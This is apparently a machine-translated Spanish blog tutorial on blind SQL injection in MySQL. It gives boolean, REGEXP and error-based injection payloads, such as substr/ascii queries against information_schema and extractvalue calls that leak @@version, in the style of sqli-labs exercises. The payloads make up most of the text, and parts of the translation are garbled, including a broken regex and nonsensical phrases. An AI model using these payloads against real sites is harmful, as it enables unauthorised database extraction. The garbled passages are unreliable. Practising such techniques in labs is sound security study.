función de inyección ciega sql

1. Basado en el juicio lógico de construcción de notas ciegas sql booleano
Tres funciones de truncamiento Función
Mid ()
MID (database (), 1,1)> 'a' Ver el primer lugar del nombre de la base de datos
MID (column_name, start, [length 】)
Nota: la longitud es opcional y por defecto es el texto restante;

La función substr
Substr () La función substring () logra la misma función, todas las cuales son cadenas truncadas.
substr (database (), 1,)> 'a' Ver el primer lugar del nombre de la base de datos, start es la posición inicial y length es la longitud interceptada.

La función Left ()
obtiene el número especificado de caracteres a la
izquierda de la cadena left (cadena, n) srting es la cadena que se truncará y n es la longitud.
left (database (), 2)> 'ab' Ver los 2 dígitos superiores del nombre de la base de datos

Al mismo tiempo, también debemos introducir la función ORD (). El código ascii del primer carácter devuelto por el segundo y el libro se suele usar en combinación con las funciones anteriores.
Por ejemplo, ORD (MID (DATABASE (), 1,1))> 114

La expresión regular ataca la
información en mysql5 + -todos los nombres de la biblioteca, los nombres de las tablas y los nombres de los campos se almacenan en la biblioteca de esquemas. Por tanto, el método de ataque es el siguiente:

1. Determine si el primer carácter del nombre de la primera tabla es un carácter en az, donde blind_sqli es el nombre de la biblioteca asumiendo el mismo.
Nota: 1 en la expresión regular significa que el carácter inicial de la cadena está en el rango de az
index.php? Id = 1 y 1 = 1 = (seleccione 1 de information_schema.tables donde table_schema = "blind_sqli" ANd table_name REGEXP ' 2 ' límite 0 , 1)

2. Determine si el primer carácter es un personaje en un si no está en oz

index.php? id = 1 y 1 = (seleccione 1 de information_schema.tables donde table_schema = "blind_sqli" AND table_name REGEXP '^ [an [] límite 0,1)

Después de reemplazar la siguiente expresión:
expresión El como este: n- ^ [AZ] -> NE [AZ] -> nuevo nuevo [AZ] -> Noticias [AZ] -> FALSO
Entonces las únicas otras tablas

Los experimentos muestran que en la expresión anterior, bajo llimit0,1, regexp coincidirá con todos los elementos, incluidos el correo electrónico y los usuarios, debajo de la tabla de seguridad. De hecho, el límite 0,1 es para donde table_schema = 'security' limit 0 , 1. Y table_schema = 'security' ya ha jugado un papel limitante, por lo que no importa si hay límite o no.


menos 5 persianas

Obtener el primer carácter de la primera tabla de la base de datos de seguridad
? Id = 1 'y ascii (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1,1))% 3E108-- +

Usando esto como punto de referencia, siga repitiendo y recreando ruedas
substr (, 2,1);
substr (, 3,1);

consejos:
valor ASCII:
az: 97-122

AZ: 65-90

0-9: 48-57

Inyección de error

uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1


  1. az ↩︎

  2. az ↩︎

Supongo que te gusta

Origin blog.csdn.net/qq_42812036/article/details/100525404
Recomendado
Clasificación